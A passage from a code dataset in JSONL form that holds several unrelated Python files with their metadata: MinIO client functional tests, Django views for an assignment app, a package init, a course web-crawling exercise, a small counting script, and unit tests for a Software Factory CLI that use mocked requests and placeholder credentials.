else:\n with open(testfile, 'wb') as file_data:\n shutil.copyfileobj(LimitedRandomReader(1024*1024), file_data)\n with open(largefile, 'wb') as file_data:\n shutil.copyfileobj(LimitedRandomReader(11*1024*1024), file_data)\n\n log_output = LogOutput(client.make_bucket, 'test_make_bucket')\n test_make_bucket(client, log_output)\n\n log_output = LogOutput(client.list_buckets, 'test_list_buckets')\n test_list_buckets(client, log_output)\n\n log_output = LogOutput(client.fput_object, 'test_fput_object_small_file')\n test_fput_object_small_file(client, testfile, log_output)\n\n log_output = LogOutput(client.fput_object, 'test_fput_large_file')\n test_fput_large_file(client, largefile, log_output)\n\n log_output = LogOutput(client.copy_object, 'test_copy_object')\n test_copy_object(client, log_output)\n\n log_output = LogOutput(client.put_object, 'test_put_object')\n test_put_object(client, log_output)\n\n log_output = LogOutput(client.get_object, 'test_get_object')\n test_get_object(client, log_output)\n\n log_output = LogOutput(client.fget_object, 'test_fget_object')\n test_fget_object(client, log_output)\n\n log_output = LogOutput(client.list_objects, 'test_list_objects')\n test_list_objects(client, log_output)\n\n log_output = LogOutput(client.list_objects_v2, 'test_list_objects_v2')\n test_list_objects_v2(client, log_output)\n\n log_output = LogOutput(client.presigned_get_object, 'test_presigned_get_object')\n test_presigned_get_object(client, log_output)\n\n log_output = LogOutput(client.presigned_put_object, 'test_presigned_put_object')\n test_presigned_put_object(client, log_output)\n\n log_output = LogOutput(client.presigned_post_policy, 'test_presigned_post_policy')\n test_presigned_post_policy(client, log_output)\n\n log_output = LogOutput(client.get_bucket_policy, 'test_get_bucket_policy')\n test_get_bucket_policy(client,log_output)\n\n log_output = LogOutput(client.set_bucket_policy, 'test_set_bucket_policy_readonly')\n test_set_bucket_policy_readonly(client, log_output)\n\n log_output = LogOutput(client.set_bucket_policy, 'test_set_bucket_policy_readwrite')\n test_set_bucket_policy_readwrite(client, log_output)\n\n log_output = LogOutput(client.set_bucket_policy, 'test_no_bucket_policy')\n test_no_bucket_policy(client, log_output)\n\n # Remove all objects.\n log_output = LogOutput(client.remove_object, 'test_remove_object')\n test_remove_object(client, log_output)\n\n log_output = LogOutput(client.remove_objects, 'test_remove_objects')\n test_remove_objects(client, log_output)\n\n log_output = LogOutput(client.remove_bucket, 'test_remove_bucket')\n test_remove_bucket(client, log_output)\n\n # Remove temporary files.\n if not is_mint_env:\n os.remove(testfile)\n os.remove(largefile)\n except Exception as err:\n print(log_output.json_report(err))\n exit(1)\n\nif __name__ == \"__main__\":\n # Execute only if run as a script\n main()\n", "sub_path": "tests/functional/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 33405, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "string.ascii_lowercase", "line_number": 70, "usage_type": "name"}, {"api_name": "random.random", "line_number": 72, "usage_type": "call"}, {"api_name": "inspect.getargspec", "line_number": 108, "usage_type": "call"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 137, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 140, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 144, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 147, "usage_type": "call"}, {"api_name": "minio.error.BucketAlreadyOwnedByYou", "line_number": 168, "usage_type": "name"}, {"api_name": "minio.error.BucketAlreadyExists", "line_number": 171, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 206, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 232, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 260, "usage_type": "call"}, {"api_name": "minio.CopyConditions", "line_number": 277, "usage_type": "call"}, {"api_name": "minio.error.PreconditionFailed", "line_number": 283, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 301, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 346, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 366, "usage_type": "call"}, {"api_name": "shutil.copyfileobj", "line_number": 377, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 383, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 394, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 407, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 418, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 450, "usage_type": "call"}, {"api_name": "urllib3.PoolManager", "line_number": 480, "usage_type": "call"}, {"api_name": "certifi.where", "line_number": 481, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 484, "usage_type": "call"}, {"api_name": "minio.error.ResponseError", "line_number": 495, "usage_type": "call"}, {"api_name": "urllib3.PoolManager", "line_number": 511, "usage_type": "call"}, {"api_name": "certifi.where", "line_number": 512, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 516, "usage_type": "call"}, {"api_name": "minio.error.ResponseError", "line_number": 525, "usage_type": "call"}, {"api_name": "minio.PostPolicy", "line_number": 549, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 552, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 552, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 552, "usage_type": "call"}, {"api_name": "minio.policy.Policy.NONE", "line_number": 577, "usage_type": "attribute"}, {"api_name": "minio.policy.Policy", "line_number": 577, "usage_type": "name"}, {"api_name": "minio.error.APINotImplemented", "line_number": 579, "usage_type": "name"}, {"api_name": "minio.policy.Policy.READ_ONLY", "line_number": 599, "usage_type": "attribute"}, {"api_name": "minio.policy.Policy", "line_number": 599, "usage_type": "name"}, {"api_name": "minio.policy.Policy.READ_ONLY", "line_number": 602, "usage_type": "attribute"}, {"api_name": "minio.policy.Policy", "line_number": 602, "usage_type": "name"}, {"api_name": "minio.error.APINotImplemented", "line_number": 604, "usage_type": "name"}, {"api_name": "minio.policy.Policy.READ_WRITE", "line_number": 624, "usage_type": "attribute"}, {"api_name": "minio.policy.Policy", "line_number": 624, "usage_type": "name"}, {"api_name": "minio.policy.Policy.READ_WRITE", "line_number": 627, "usage_type": "attribute"}, {"api_name": "minio.policy.Policy", "line_number": 627, "usage_type": "name"}, {"api_name": "minio.error.APINotImplemented", "line_number": 629, "usage_type": "name"}, {"api_name": "minio.policy.Policy.NONE", "line_number": 651, "usage_type": "attribute"}, {"api_name": "minio.policy.Policy", "line_number": 651, "usage_type": "name"}, {"api_name": "minio.policy.Policy.NONE", "line_number": 654, "usage_type": "attribute"}, {"api_name": "minio.policy.Policy", "line_number": 654, "usage_type": "name"}, {"api_name": "minio.error.APINotImplemented", "line_number": 656, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 729, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 730, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 732, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 733, "usage_type": "call"}, {"api_name": "minio.Minio", "line_number": 740, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 742, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 744, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 745, "usage_type": "call"}, {"api_name": "os.path", "line_number": 745, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 746, "usage_type": "call"}, {"api_name": "os.path", "line_number": 746, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 746, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 747, "usage_type": "call"}, {"api_name": "os.path", "line_number": 747, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 747, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 757, "usage_type": "call"}, {"api_name": "os.path", "line_number": 757, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 758, "usage_type": "call"}, {"api_name": "os.path", "line_number": 758, "usage_type": "attribute"}, {"api_name": "shutil.copyfileobj", "line_number": 761, "usage_type": "call"}, {"api_name": "shutil.copyfileobj", "line_number": 763, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 828, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 829, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 832, "usage_type": "call"}]} +{"seq_id": "527835767", "text": "\"\"\"\n Class for defining page views\n\"\"\"\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings as conf_settings\n\nfrom ..models import Channel, Assignment\nimport stream\n\n# Create your views here.\n\n\n@login_required\ndef index(request):\n \"\"\"\n Render the index page - main_list\n \"\"\"\n\n # Retrieve all assignments from user's channel subscriptions\n profile = request.user.userprofile\n subscribed_channels = profile.subscriptions.all()\n assignments = Assignment.objects.in_date_due_order(channel__in=subscribed_channels)\n\n context = {\"assignments\": assignments}\n return render(request, \"index_list.html\", context)\n\n\n@login_required\ndef main_grid(request):\n # Retrieve all assignments from user's channel subscriptions\n profile = request.user.userprofile\n subscribed_channels = profile.subscriptions.all()\n\n channel_assignment_map = {}\n\n for c in subscribed_channels:\n assignments = Assignment.objects.in_date_due_order(channel=c)\n channel_assignment_map[c] = assignments\n\n channel_assignments = []\n for key, value in channel_assignment_map.items():\n ca = []\n # Append channel object\n ca.append(key)\n # Append assignments\n for v in value:\n ca.append(v)\n channel_assignments.append(ca)\n\n context = {\"channel_assignments\": channel_assignments}\n return render(request, \"index_grid.html\", context)\n\n\n@login_required\ndef calendar(request):\n \"\"\"\n Render calendar page\n \"\"\"\n\n # Retrieve all assignments from user's channel subscriptions\n profile = request.user.userprofile\n subscribed_channels = profile.subscriptions.all()\n assignments = Assignment.objects.in_date_due_order(channel__in=subscribed_channels)\n\n context = {\"assignments\": assignments}\n return render(request, \"calendar.html\", context)\n\n\n@login_required\ndef notifications(request):\n \"\"\"\n Render notifications page\n \"\"\"\n\n # Create stream client\n client = stream.connect(conf_settings.STREAM_IO_KEY, conf_settings.STREAM_IO_SECRET)\n\n # Retrieve notifications\n notifications = client.feed(\"notification\", request.user.username)\n activities = notifications.get(limit=10)[\"results\"][0][\"activities\"]\n\n context = {\"activities\": activities}\n return render(request, \"notifications.html\", context)\n\n\n@login_required\ndef settings(request):\n \"\"\"\n Render settings page\n \"\"\"\n context = {}\n return render(request, \"settings.html\", context)", "sub_path": "core/views/pages.py", "file_name": "pages.py", "file_ext": "py", "file_size_in_byte": 2540, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "models.Assignment.objects.in_date_due_order", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Assignment.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Assignment", "line_number": 23, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 14, "usage_type": "name"}, {"api_name": "models.Assignment.objects.in_date_due_order", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Assignment.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "models.Assignment", "line_number": 38, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 29, "usage_type": "name"}, {"api_name": "models.Assignment.objects.in_date_due_order", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Assignment.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.Assignment", "line_number": 64, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 55, "usage_type": "name"}, {"api_name": "stream.connect", "line_number": 77, "usage_type": "call"}, {"api_name": "django.conf.settings.STREAM_IO_KEY", "line_number": 77, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 77, "usage_type": "name"}, {"api_name": "django.conf.settings.STREAM_IO_SECRET", "line_number": 77, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 70, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 93, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 87, "usage_type": "name"}]} +{"seq_id": "382336099", "text": "import os, sys\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"workflow\", \"scripts\"))\n\nimport utils\n\n\nTAX_LEVELS = [\"superkingdom\", \"phylum\", \"class\", \"order\", \"family\", \"genus\", \"species\"]\nBLAST6 = [\n \"qseqid\",\n \"sseqid\",\n \"pident\",\n \"length\",\n \"mismatch\",\n \"gapopen\",\n \"qstart\",\n \"qend\",\n \"sstart\",\n \"send\",\n \"evalue\",\n \"bitscore\",\n]\n\nfrom . import _version\n\nimport snakemake\n\n__version__ = _version.get_versions()[\"version\"] + f\" Snakemake {snakemake.__version__}\"\n", "sub_path": "atlas/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 514, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "snakemake.__version__", "line_number": 28, "usage_type": "attribute"}]} +{"seq_id": "408384744", "text": "# BeatufiulSoup Assignment 2 - Chapter 12 - Coursera - Parsing HTML Web page data\r\n\r\nimport urllib.request, urllib.parse, urllib.error\r\nfrom bs4 import BeautifulSoup\r\nimport ssl\r\nimport re\r\n\r\nurl = 'http://py4e-data.dr-chuck.net/known_by_Fikret.html'\r\nhtml = urllib.request.urlopen(url).read()\r\nsoup = BeautifulSoup(html, 'html.parser') # beautiful soup parses the file - returns an object in Soup object\r\ncount = 4 # Can update for # of times you want to crawl thru Urllinks2\r\npos = 2 # Can update for starting position\r\ntags = soup('a') # list of tags w/ 'a'\r\nlst = []\r\ncounts = 0\r\nwhile counts < count:\r\n tag = (tags[pos]) #starting point of 2 - get name and Url, go to url and continue\r\n line = (tag.get('href',None)) # Grabs the href line and prints it out\r\n n = (re.findall('by_(.+).html',line)) # grabs the name of the person in next search\r\n name = str(n[0]) #convert name to string\r\n line = line.split()\r\n next = str(line[0]) #grabs destination URL address\r\n lst.append(name) #append name of person from found link to lst\r\n print (next)\r\n dest = urllib.request.urlopen(next).read()\r\n ss = BeautifulSoup(dest, 'html.parser')\r\n tags = ss('a')\r\n counts = counts + 1\r\nprint (lst)\r\n", "sub_path": "a_urllinks122.py", "file_name": "a_urllinks122.py", "file_ext": "py", "file_size_in_byte": 1222, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "urllib.request.request.urlopen", "line_number": 9, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 9, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 9, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 10, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 25, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 25, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "145222318", "text": "from itertools import product\n\nl, h = map(int, input().split())\nk = int(input())\nli = []\nc = 0\nmod = 1000000007\nk = k % mod\nl = l % mod\nh = h % mod\nfor i in range(l, h + 1):\n li.append(i)\n# print(li)\nperm = product(li, repeat=k)\nfor i in perm:\n s = 0\n for j in range(len(i)):\n s = s + i[j]\n if s % 2 == 0:\n c += 1 % mod\nprint(c % mod)", "sub_path": "Codevita/even_odd_my.py", "file_name": "even_odd_my.py", "file_ext": "py", "file_size_in_byte": 360, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "itertools.product", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "209299267", "text": "# Copyright (C) 2014 eNovance SAS \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport argparse\nimport os\nimport yaml\nfrom mock import patch\nfrom tempfile import mkstemp, NamedTemporaryFile\nfrom unittest import TestCase\n\nfrom sfmanager import sfmanager\n\n\nclass FakeResponse(object):\n def __init__(self, status_code=200, text='fake', json_data=None):\n self.status_code = status_code\n self.headers = {}\n self.text = text\n self.ok = True\n self.json = lambda: json_data\n\n\nclass TestRCFile(TestCase):\n def setUp(self):\n _, self.rc = mkstemp()\n sfmanager.DEFAULT_RC_PATHS = [self.rc, ] + sfmanager.DEFAULT_RC_PATHS\n self.parser = argparse.ArgumentParser(description=\"test\")\n sfmanager.default_arguments(self.parser)\n sfmanager.command_options(self.parser)\n\n def test_rc_file_not_found(self):\n d = sfmanager.DEFAULT_RC_PATHS\n sfmanager.DEFAULT_RC_PATHS = []\n args = self.parser.parse_args(['--env', 'sf', 'sf_user', 'list'])\n self.assertIsNotNone(args.env)\n self.assertRaisesRegexp(Exception, 'no rc file found',\n sfmanager.load_rc_file, args)\n sfmanager.DEFAULT_RC_PATHS = d\n\n def test_rc_file_bad_format(self):\n with open(self.rc, 'w') as rc:\n rc.write('trololo')\n args = self.parser.parse_args(['--env', 'sf', 'sf_user', 'list'])\n self.assertIsNotNone(args.env)\n self.assertRaisesRegexp(Exception, 'Incorrect rc file format',\n sfmanager.load_rc_file, args)\n\n def test_rc_file_env_not_found(self):\n with open(self.rc, 'w') as rc:\n yaml.dump({'sf': {'url': 'http://a',\n 'insecure': True,\n 'debug': True,\n 'auth': {'username': 'b',\n 'password': 'c'}\n }\n }, rc, default_flow_style=False)\n args = self.parser.parse_args(['--env', 'sf2', 'sf_user', 'list'])\n self.assertIsNotNone(args.env)\n self.assertRaisesRegexp(Exception, 'Unknown environment sf2',\n sfmanager.load_rc_file, args)\n\n def test_rc_file_env(self):\n with open(self.rc, 'w') as rc:\n yaml.dump({'sf': {'url': 'http://a',\n 'insecure': True,\n 'debug': True,\n 'auth': {'username': 'b',\n 'password': 'c'}\n },\n 'sf2': {'url': 'http://a',\n 'insecure': True,\n 'debug': True,\n 'auth': {'username': 'b',\n 'password': 'c'}\n },\n 'sf3': {'url': 'http://a',\n 'insecure': True,\n 'debug': True,\n 'auth': {'api-key': 'd'}\n },\n }, rc, default_flow_style=False)\n args = self.parser.parse_args(['--env', 'sf2', 'sf_user', 'list'])\n self.assertIsNotNone(args.env)\n sfmanager.load_rc_file(args)\n self.assertEqual('http://a', args.url)\n self.assertEqual(True, args.insecure)\n self.assertEqual(True, args.debug)\n self.assertEqual('b:c', args.auth)\n args = self.parser.parse_args(['--env', 'sf3', 'sf_user', 'list'])\n self.assertIsNotNone(args.env)\n sfmanager.load_rc_file(args)\n self.assertEqual('d', args.api_key)\n\n def tearDown(self):\n sfmanager.DEFAULT_RC_PATHS = sfmanager.DEFAULT_RC_PATHS[1:]\n\n\nclass BaseFunctionalTest(TestCase):\n def setUp(self):\n _, self.temp_path = mkstemp()\n with open(self.temp_path, 'w') as f:\n f.write('dummy data')\n self.parser = argparse.ArgumentParser(description=\"test\")\n sfmanager.default_arguments(self.parser)\n sfmanager.command_options(self.parser)\n self.base_url = \"http://tests.dom/\"\n self.headers = {'Authorization': 'Basic blipblop'}\n default_args = '--url {url} --auth titi:toto --auth-server-url {url}'\n self.default_args = default_args.format(url=self.base_url).split()\n self.cookies = {'auth_pubtkt': 'fake_cookie'}\n self.expected_gh_headers = {\n 'Content-Type': 'application/json',\n 'Authorization': 'token ghtoken'}\n\n def tearDown(self):\n pass\n\n def assert_secure(self, method_verb, cmd_args, action_func,\n expected_url, expected_data=None, returned_json=None):\n with patch('sfmanager.sfmanager.get_cookie') as c:\n c.return_value = 'fake_cookie'\n with patch('sfmanager.sfmanager.request') as method:\n method.return_value = FakeResponse(json_data=returned_json)\n parsed = self.parser.parse_args(cmd_args)\n self.assertTrue(action_func(parsed, self.base_url),\n [action_func.__name__, parsed, self.base_url])\n\n if expected_data is not None:\n method.assert_called_with(method_verb, expected_url,\n json=expected_data)\n else:\n method.assert_called_with(method_verb, expected_url)\n\n\nclass TestJobsActions(BaseFunctionalTest):\n def test_list_jobs(self):\n args = self.default_args\n args += 'job list --job-name toto'.split()\n expected_url = self.base_url + 'jobs/toto/'\n returned_json = {'jenkins': [{'job_name': 'toto',\n 'job_id': 4,\n 'status': 'SUCCESS'}, ]}\n self.assert_secure('get', args,\n sfmanager.job_action, expected_url,\n returned_json=returned_json)\n\n def test_logs(self):\n args = self.default_args\n args += 'job logs --job-name toto --id 4'.split()\n expected_url = self.base_url + 'jobs/toto/id/4/logs/'\n returned_json = {'jenkins': {'job_name': 'toto',\n 'job_id': 4,\n 'logs_url': 'aaaa'}}\n self.assert_secure('get', args,\n sfmanager.job_action, expected_url,\n returned_json=returned_json)\n\n def test_parameters(self):\n args = self.default_args\n args += 'job parameters --job-name toto --id 4'.split()\n expected_url = self.base_url + 'jobs/toto/id/4/parameters/'\n returned_json = {'jenkins': {'job_name': 'toto',\n 'job_id': 4,\n 'parameters': [{'name': 'a',\n 'value': 'b'}, ]}}\n self.assert_secure('get', args,\n sfmanager.job_action, expected_url,\n returned_json=returned_json)\n\n def test_run(self):\n args = self.default_args\n args += 'job run --job-name toto'.split()\n expected_url = self.base_url + 'jobs/toto/'\n self.assert_secure('post', args,\n sfmanager.job_action, expected_url, {},\n returned_json={'jenkins': {'job_name': 'toto',\n 'job_id': 2,\n 'status': 'PENDING'}})\n\n def test_stop(self):\n args = self.default_args\n args += 'job stop --job-name toto --id 2'.split()\n expected_url = self.base_url + 'jobs/toto/id/2/'\n self.assert_secure('delete', args,\n sfmanager.job_action, expected_url,\n returned_json={'jenkins': {'job_name': 'toto',\n 'job_id': 2,\n 'status': 'ABORTED'}})\n\n\nclass TestImagesActions(BaseFunctionalTest):\n def test_list_images(self):\n args = self.default_args\n args += 'image list -p default'.split()\n expected_url = self.base_url + 'nodes/images/default/'\n keys = ['id', 'provider_name', 'image_name', 'hostname',\n 'version', 'image_id',\n 'server_id', 'state', 'age']\n img_info = dict(zip(keys, ['aaa'] * len(keys)))\n returned_json = {'nodepool': [img_info, ]}\n self.assert_secure('get', args,\n sfmanager.image_action, expected_url,\n returned_json=returned_json)\n\n def test_update_image(self):\n args = self.default_args\n args += 'image update -p default -i sfcentos'.split()\n expected_url = self.base_url + 'nodes/images/update/default/sfcentos/'\n returned_json = {\"nodepool\": {\"update_id\": 1}}\n self.assert_secure('put', args,\n sfmanager.image_action, expected_url,\n returned_json=returned_json)\n\n def test_update_image_status(self):\n args = self.default_args\n args += 'image update-status -u 29'.split()\n expected_url = self.base_url + 'nodes/images/update/29/'\n u = {\"status\": \"SUCCESS\", \"image\": \"sfcentos\",\n \"error\": \"\", \"exit_code\": \"0\", \"provider\": \"default\",\n \"output\": \"coolio burrito\", \"id\": \"29\"}\n returned_json = {\"nodepool\": u}\n self.assert_secure('get', args,\n sfmanager.image_action, expected_url,\n returned_json=returned_json)\n\n\nclass TestNodesActions(BaseFunctionalTest):\n def test_list_nodes(self):\n args = self.default_args\n args += 'node list --id toto'.split()\n expected_url = self.base_url + 'nodes/id/toto/'\n keys = ['node_id', 'provider_name', 'AZ', 'label',\n 'target', 'manager', 'hostname', 'node_name',\n 'server_id', 'ip', 'state', 'age']\n node_info = dict(zip(keys, ['aaa'] * len(keys)))\n returned_json = {'nodepool': [node_info, ]}\n self.assert_secure('get', args,\n sfmanager.node_action, expected_url,\n returned_json=returned_json)\n\n def test_hold_node(self):\n args = self.default_args\n args += 'node hold --id toto'.split()\n expected_url = self.base_url + 'nodes/id/toto/'\n keys = ['node_id', 'provider_name', 'AZ', 'label',\n 'target', 'manager', 'hostname', 'node_name',\n 'server_id', 'ip', 'state', 'age']\n node_info = dict(zip(keys, ['aaa'] * len(keys)))\n returned_json = {'nodepool': [node_info, ]}\n self.assert_secure('put', args,\n sfmanager.node_action, expected_url,\n returned_json=returned_json)\n\n def test_delete_node(self):\n args = self.default_args\n args += 'node delete --id toto'.split()\n expected_url = self.base_url + 'nodes/id/toto/'\n keys = ['node_id', 'provider_name', 'AZ', 'label',\n 'target', 'manager', 'hostname', 'node_name',\n 'server_id', 'ip', 'state', 'age']\n node_info = dict(zip(keys, ['aaa'] * len(keys)))\n returned_json = {'nodepool': [node_info, ]}\n self.assert_secure('delete', args,\n sfmanager.node_action, expected_url,\n returned_json=returned_json)\n\n def test_add_user_key(self):\n args = self.default_args\n expected_url = self.base_url + 'nodes/id/toto/authorize_key/'\n with NamedTemporaryFile(delete=False) as tmpfile:\n tmpfile.write(\"ssh-rsa blah\")\n d = {'public_key': 'ssh-rsa blah'}\n args += ('node add-user-key --id toto --key %s' % tmpfile.name).split()\n # the operation calls POST then GET\n with patch('sfmanager.sfmanager.get_cookie') as c:\n c.return_value = 'fake_cookie'\n with patch('sfmanager.sfmanager.request') as r:\n def side_effect(*argv, **kwarg):\n if argv[0] == 'post':\n return FakeResponse(json_data={'nodepool': 'OK'})\n else:\n return FakeResponse(json_data={})\n r.side_effect = side_effect\n parsed = self.parser.parse_args(args)\n self.assertTrue(sfmanager.node_action(parsed, self.base_url))\n r.assert_any_call('post', expected_url, json=d)\n try:\n os.remove(tmpfile.name)\n except IOError:\n pass\n\n\nclass TestUserActions(BaseFunctionalTest):\n def test_user_create(self):\n args = self.default_args\n data = {'email': 'e@test.com',\n 'password': 'abc123',\n 'username': 'toto',\n 'fullname': 'toto the tester'}\n cmd = 'user create -f {fullname} -u u1 -p {password} --email {email}'\n args += cmd.format(**data).split()\n expected_url = self.base_url + 'user/u1/'\n expected_data = {'email': data['email'], 'password': data['password'],\n 'fullname': data['fullname']}\n self.assert_secure('post', args, sfmanager.user_management_action,\n expected_url, expected_data, returned_json=data)\n\n def test_user_delete(self):\n args = self.default_args\n args += 'user delete --user test2'.split()\n expected_url = self.base_url + 'user/test2/'\n self.assert_secure('delete', args, sfmanager.user_management_action,\n expected_url)\n\n def test_user_update(self):\n args = self.default_args\n data = {'email': 'e@test.com', 'password': 'abc123'}\n cmd = 'user update --username t3 --password {password} --email {email}'\n args += cmd.format(**data).split()\n expected_url = self.base_url + 'user/t3/'\n self.assert_secure('post', args, sfmanager.user_management_action,\n expected_url, data)\n\n def test_user_update_missing_username(self):\n args = self.default_args\n data = {'email': 'e@test.com', 'password': 'abc123'}\n cmd = 'user update --password'\n args += cmd.format(**data).split()\n self.assertRaises(SystemExit, self.parser.parse_args)\n\n\nclass TestRegisteredUserActions(BaseFunctionalTest):\n def test_user_create(self):\n args = self.default_args\n data = {'email': 'e@test.com',\n 'full_name': 'toto the tester',\n 'username': 'toto'}\n cmd = 'sf_user create -f {full_name} -u {username} --email {email}'\n args += cmd.format(**data).split()\n expected_url = self.base_url + 'services_users/'\n self.assert_secure('post', args,\n sfmanager.services_users_management_action,\n expected_url, data)\n\n def test_user_delete_username(self):\n args = self.default_args\n args += 'sf_user delete --username test2'.split()\n data = {'username': 'test2', }\n expected_url = self.base_url + 'services_users/'\n self.assert_secure('delete', args,\n sfmanager.services_users_management_action,\n expected_url, data)\n\n def test_user_delete_email(self):\n args = self.default_args\n args += 'sf_user delete --email test2@testy.com'.split()\n data = {'email': 'test2@testy.com', }\n expected_url = self.base_url + 'services_users/'\n self.assert_secure('delete', args,\n sfmanager.services_users_management_action,\n expected_url, data)\n\n def test_list(self):\n args = self.default_args\n args += 'sf_user list'.split()\n expected_url = self.base_url + 'services_users/'\n data = [{'username': 'joe', 'fullname': 'John Doe',\n 'email': 'joe@tests.com', 'cauth_id': '1', 'id': '1'}]\n self.assert_secure('get', args,\n sfmanager.services_users_management_action,\n expected_url, returned_json=data)\n\n\nclass TestSystemActions(BaseFunctionalTest):\n def test_backup(self):\n args = self.default_args\n args += 'system backup_start'.split()\n expected_url = self.base_url + 'backup/'\n self.assert_secure('post', args, sfmanager.backup_action, expected_url)\n\n\nclass TestGithubActions(BaseFunctionalTest):\n def test_create_repo(self):\n args = '--github-token ghtoken github create-repo -n reponame'.split()\n parsed_args = self.parser.parse_args(args)\n\n expected_url = \"https://api.github.com/user/repos\"\n expected_data = {\"name\": \"reponame\", \"private\": False}\n\n with patch('requests.post') as method:\n sfmanager.github_action(parsed_args, \"\")\n\n call_args, call_kwargs = method.call_args\n self.assertEqual(call_args[0], expected_url)\n self.assertEqual(call_kwargs.get('headers'),\n self.expected_gh_headers)\n self.assertEqual(call_kwargs.get('json'),\n expected_data)\n\n def test_create_org_repo(self):\n args = '--github-token ghtoken '\n args += 'github create-repo -n reponame -o orgname'\n parsed_args = self.parser.parse_args(args.split())\n\n expected_url = \"https://api.github.com/orgs/orgname/repos\"\n expected_data = {\"name\": \"reponame\", \"private\": False}\n\n with patch('requests.post') as method:\n sfmanager.github_action(parsed_args, \"\")\n\n call_args, call_kwargs = method.call_args\n self.assertEqual(call_args[0], expected_url)\n self.assertEqual(call_kwargs.get('headers'),\n self.expected_gh_headers)\n self.assertEqual(call_kwargs.get('json'),\n expected_data)\n\n def test_fork_repo(self):\n args = '--github-token ghtoken github fork-repo '\n args 